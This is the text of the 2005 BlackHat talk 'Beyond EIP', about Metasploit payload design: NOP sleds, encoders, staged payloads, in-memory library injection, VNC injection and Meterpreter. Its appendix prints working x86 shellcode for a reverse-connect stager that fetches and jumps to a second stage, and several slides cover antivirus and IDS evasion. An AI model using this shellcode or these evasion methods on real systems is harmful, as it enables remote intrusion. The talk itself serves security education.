Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- spoonm
  - Full-time student
  - Metasploit developer since late 2003
- skape
  - Lead software developer by day
  - Independent security researcher by night
  - Joined the Metasploit project in 2004
  - Responsible for all cool features

What’s this presentation about?

- What it’s not about
  - New exploit / attack vectors
  - New exploitation techniques
  - 0day, bugs, etc

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- What it is about
  - What you can do after owning EIP
  - The techniques to do it
  - Our tools to support it

Plan of attack

- Payload Infrastructure
  - Payload composition
  - How payloads work
  - Recent tools, tricks, and techniques
- Post-exploitation tools
  - Background & review of existing tools
  - The technology behind our tools
  - How they can be used
  - Crazy cool features for the end-user

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- **Pre-exploitation** - Before the attack
  - Find a bug, isolate, write exploit
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  - Initialize tools and infrastructure
  - Launch the exploit
- **Post-exploitation** - Manipulating the target
  - Arbitrary command execution
  - Command execute via shell
  - File access, VNC, pivoting, etc
  - Advanced payload interaction

Part II

Payload Infrastructure

Anatomy of a Payload

[nops] [decoder (encoded payload)]

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  - Arbitrary code
  - Typically provides a command shell

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- Not all vulnerabilities have predictable return addresses
  - Particularly useful when brute forcing
- Using a sled can improve exploit quality
  - Increasing the brute force step size decreases number of attempts

Nop sled technology

Existing technology

- `perl -e 'print "\x90" x $ARGV[0]"' sled_size`
- ADMutate - single-byte x86

Metasploit technology

- Opty2 multi-byte sled generator
- Based on Optyx's multi-byte sled generator

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- Original payload is executed

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- Survive application translations (unicode, toupper)
- IDS evasion
  - Static string signatures (`/bin/sh`)
  - Specific payload and payload pattern signatures

Encoder technology

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  - Defacto standard for encoders
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  - Variable or static key
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  - Typically performed on a byte, word, or dword basis
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- Alphanumeric / Unicode
  - Rix's x86 encoder from Phrack 57
  - SkyLined's Alpha2 x86 ascii and unicode encoder
  - Dave Aitel and FX's unicode encoders

Metasploit technology

- Shikata Ga Nai

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  - Passes connection information onto the stage
- **Stage**
  - Similar to a single payload, but takes advantage of staging
  - Uses connection passed from the stager
  - Not subject to size limitations of individual vulnerabilities
  - A stager can also be a stage

Single payloads

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- The three steps make it so stages are independent of the connection method
  - No need to have command shell payloads for reverse, portbind, and findsock

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- Eliminate the need to re-implement payloads for each connection method
- Provides an abstraction level for loading code onto a remote machine through any medium

Existing payload stager technology

- Standard reverse, portbind, and findsock stagers included in Metasploit 2.2+
- LSD Win32 Assembly Components
- Found in public exploits (Solar Eclipse OpenSSL)

Payload stages

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- Some examples of payload stages include
  - Execute a command shell and redirect IO to the attacker
  - Execute an arbitrary command (ex adduser)
  - Download an executable from a URL and execute it

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- This means they can be arbitrarily complex

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- Help to reduce the tediousness of writing payloads
- Stealth’s Hellkit
- Core ST’s InlineEgg
- Philippe’s Shellforge
- Dave Aitel’s MOSDEF

Windows ordinal stagers

- Technique from Oded's lightning talk at core04
- Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- Compatible with all versions of Windows (including 9X)
- Results in very low-overhead symbol resolution
- Facilitates implementation of reverse, portbind, and findsock stagers
- Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- Detailed write-up can be found in reference materials

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- Very few PE files use known-static ordinals, but `WS2_32.DLL` is one that does
  - 30 symbols use static ordinals in `WS2_32.DLL`

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- Can't initialize winsock if it isn't initialized
  - `WSAStartup` doesn't have a static ordinal
- Can't use sockets as direct standard I/O handles
  - Sockets returned from `socket` aren't valid console handles
  - Must use pipes instead

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI
  - Once `WS2_32.DLL` is found, extract its BaseAddress

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- Requires that `WS2_32.DLL` already be loaded in the target process

Part III

Post Exploitation

What is post-exploitation?

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- Represents the culmination of the exploitation cycle

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- Most people spawn a command shell
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  - Reliant on the shell's intrinsic commands
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  - Can't provide advanced features
- Some people use syscall proxies
  - Good automation support
  - Partial or full access to target native API
  - Can be clumsy when implementing complex features
  - Typically require specialized build steps

DispatchNinja - Caveman Post Exploitation

- The idea is to have interactive shellcode
- And be able to keep a very low footprint

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- Modules have a simple C ABI, and have a main function
- Most of our dN modules were written in C (shellforge)

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- APIs modeled after the ruby APIs (Dir, File, etc)
- Our APIs should support the majority of Ruby functionality

```
irb#1(main):001:0> c = @c
=> #<Rex::Post::DispatchNinja::Client:0xb7bf542c
   @sock=#<TCPSocket:0xb7bf5440>>
irb#1(main):002:0> c.dir.entries('/tmp')
=> [".", "..", ".X11-unix", ".ICE-unix", ".font-unix"]

irb#1(main):004:0> puts c.file.stat('/etc/passwd').pretty
  Size: 1036   Blocks: 8   IO Block: 4096   Type: 0
Device: 774  Inode: 81499  Links: 1
  Mode: 100644/rw-r--r--
   Uid: 0  Gid: 0
Access: Tue Jul 26 20:08:09 EDT 2005
Modify: Wed Jul 06 20:45:04 EDT 2005
Change: Wed Jul 06 20:45:04 EDT 2005
=> nil

irb#1(main):005:0> Process.pid
=> 1496
irb#1(main):006:0> c.process.pid
=> 1498
```

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- But before understanding Meterpreter, one should understand library injection...

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Types of library injection

- Two primary methods exist to inject a library
  1. **On-Disk**: loading a library from the target's harddrive or a file share
  2. **In-Memory**: loading a library entirely from memory
- Both are conceptually portable to non-Windows platforms

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- On-Disk injection is subject to filtering by Antivirus due to filesystem access
- Requires that the library file exist on the target's harddrive or that the file share be reachable

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- No disk access means no forensic trace if the machine loses power

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  - `NtCreateSection`
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- These routines can be hooked to change their behavior to operate against a memory region

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- Once hooked, calling `LoadLibraryA` with a unique pseudo file name is all that's needed

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- Lots of reasons...
  - Requires manual import processing
  - Requires manual relocation fix-ups
  - Requires loading dependent DLLs
  - May require manual insertion into the loaded module lists
  - Other uncommon PE features that wouldn't be supported

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- No compelling reason to re-implement what is already supplied in `NTDLL.DLL`

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- By using the generic library loading stager, VNC was simply plugged in

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  - Does not make any registry or filesystem changes
  - Does not listen on a port; uses payload connection as a VNC client
- By using the generic library loading stager, VNC was simply plugged in

- Extremely useful when illustrating security weaknesses
- Suits understand mouse movement much better than command lines

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- Portability also a design consideration
  - The current server implementation is only for Windows

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- TLVs make packet parsing simplistic and flexible
  - No formatting knowledge is required to parse the packet outside of the TLV structure

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- Metasploit 2.x has a perl Meterpreter client
- Metasploit 3.x will use a ruby Meterpreter client

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- Client can begin sending commands for the new extension

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- Combination of previous extensions into standard interface
- Provides access to standard OS features
- Feature set provides for robust client-side automation
- Designed to mirror the Ruby API to make it easy to use existing scripts against targets

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  - RPC-like protocol allows arbitrarily complex tasks to be performed with a common interface
  - Extension-based architecture makes Meterpreter completely flexible
- Use of in-memory library injection makes it possible to run in a stealth fashion

Some of the features Meterpreter can offer

- Command execution & manipulation
- Registry interaction
- File system interaction
- Network pivoting & port forwarding
- Complete native API proxying
- Anything you can do as a native DLL, Meterpreter can do!
- Sky's the limit!

Part IV

Demos

Part V

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- Public post-exploitation suites still very weak
- However, post-exploitation is maturing
- Metasploit 3.0 should be cool

Reference Material

Payload Stagers

- PassiveX
  `http://www.uninformed.org/?v=1&a=3&t=sumry`

Payload Stages

- Library Injection
  `http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf`
- Meterpreter
  `http://www.nologin.org/Downloads/Papers/meterpreter.pdf`

Part VI

Appendix

Part VII

Appendix: Payload Stagers

Locating WS2_32.DLL's base address

```
FC         cld                     ; clear direction (lodsd)
31DB       xor ebx,ebx             ; zero ebx
648B4330   mov eax,[fs:ebx+0x30]   ; eax = PEB
8B400C     mov eax,[eax+0xc]       ; eax = PEB->Ldr
8B501C     mov edx,[eax+0x1c]      ; edx = Ldr->InitList.Flink
8B12       mov edx,[edx]           ; edx = LdrModule->Flink
8B7220     mov esi,[edx+0x20]      ; esi = LdrModule->DllName
AD         lodsd                   ; eax = [esi] ; esi += 4
AD         lodsd                   ; eax = [esi] ; esi += 4
4E         dec esi                 ; esi--
0306       add eax,[esi]           ; eax = eax + [esi]
                                   ; (4byte unicode->ANSI)
3D32335F32 cmp eax,0x325f3332      ; eax == 2_32?
75EF       jnz 0xd                 ; not equal, continue loop
```

Resolve symbols using static ordinals

```
8B6A08      mov ebp,[edx+0x8]      ; ebp = LdrModule->BaseAddr
8B453C      mov eax,[ebp+0x3c]     ; eax = DosHdr->e_lfanew
8B4C0578    mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C    mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9        add ecx,ebp            ; ecx += ws2base
8B4158      mov eax,[ecx+0x58]     ; eax = socket rva
01E8        add eax,ebp            ; eax += ws2base
8B713C      mov esi,[ecx+0x3c]     ; esi = recv rva
01EE        add esi,ebp            ; esi += ws2base
03690C      add ebp,[ecx+0xc]      ; ebp += connect rva
```

Create the socket, connect back, recv, and jump

```
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53         push ebx                 ; push 0
6A01       push byte +0x1           ; push SOCK_STREAM
6A02       push byte +0x2           ; push AF_INET
FFD0       call eax                 ; call socket
97         xchg eax,edi             ; edi = fd
687F000001 push dword 0x100007f     ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1       mov ecx,esp              ; ecx = &sockaddr_in
53         push ebx                 ; push flags (0)
B70C       mov bh,0xc               ; ebx = 0x0c00
53         push ebx                 ; push length (0xc00)
51         push ecx                 ; push buffer
57         push edi                 ; push fd
51         push ecx                 ; push buffer
6A10       push byte +0x10          ; push addrlen (16)
51         push ecx                 ; push &sockaddr_in
57         push edi                 ; push fd
56         push esi                 ; push recv
FFE5       jmp ebp                  ; call connect
```